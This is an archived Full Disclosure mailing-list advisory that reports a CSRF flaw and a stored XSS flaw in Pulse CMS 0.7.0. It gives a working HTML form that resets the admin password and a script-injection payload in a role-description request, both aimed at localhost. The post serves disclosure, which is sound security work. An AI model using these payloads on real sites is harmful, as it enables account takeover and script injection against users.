[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAA0JNpRM-SJ_uyY=nOTxRRJrHa09TUE+QJzPqOEdPgbxROeGaw@mail.gmail.com>
Date: Mon, 4 Apr 2016 12:10:54 +0800
From: xiong piaox <yahoo860201@...il.com>
To: fulldisclosure@...lists.org
Cc: submit@...sec.com
Subject: [FD] Pulse CMS Multiple Vulnerabilities
Pulse CMS Multiple Vulnerabilities
1、Description
Exploit Title: Multiple Vulnerabilities in pulse 0.7.0 final
Date: 4-01-2016
Vendor Homepage:
http://pulse.torweg.org/site/Pulsar/en_US.CMS.displayCMS.13./pulse---the-java-web-application-framework
Vendor: pulse
Software: Content Management System
Version: version: pulse 0.7.0 final (build r2074)
2、Product Summary
================
An open source portal solution in Java. pulse delivers a set of
out-of-the-box components, e.g. CMS, shopping, user management.
Moreover pulse is a framework on top of the Servlet API providing easy
to use and easy to extend patterns for creating browser based
applications and websites. Key features: * Cross-platform, implemented
using Java technology. * Completely written using Java 5. * Provides a
framework for quick development of own applications. * Is delivered
with a host of out-of-the-box applications: CMS, Shop, Surveys,
Filters and many more. * A WebDAV based virtual file system for
digital asset management. * Mature user and role management *
Easy-to-use administration interface based on AJAX (using Ext JS) *
Built for internationalisation * Flexible templating with XSLT
2.0/XPath 2.0
3、Vulnerabilities
================
1)、CSRF Vulnerability
Change Password exists csrf Vulnerability :
CSRF POC:
<html>
<!-- CSRF PoC -->
<body>
<form action="http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.changePasswordUserEditor._pGv8I9wIR7MWaiSJ5xxXkK39PElR9vlXaJmvG8sYkUDxDm0dmFdG3oTt0Py3gWJ7kTPl3ZJiVsc5V7sxt1yYm./"
method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="pwd" value="admin888" />
<input type="hidden" name="cnf" value="admin888" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2)、Stored XSS Vulnerability
Stored Xss vulnerability exists in the description of the Roles
overview、Users overview、Groups overview.
POC:
http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.saveRoleEditor._GazoEzD0fQ9eqgjVtVmQUcR0AcE4uyFhxaFI0jWHL6NgzAOsYWxRikIik5cnewt4J6Tjc8DpHFC9rGglGWXaeT./
id=4&description=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
4、Discovered by
================
piaox xiong – xiongyaofu351@...gan.com.cn
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists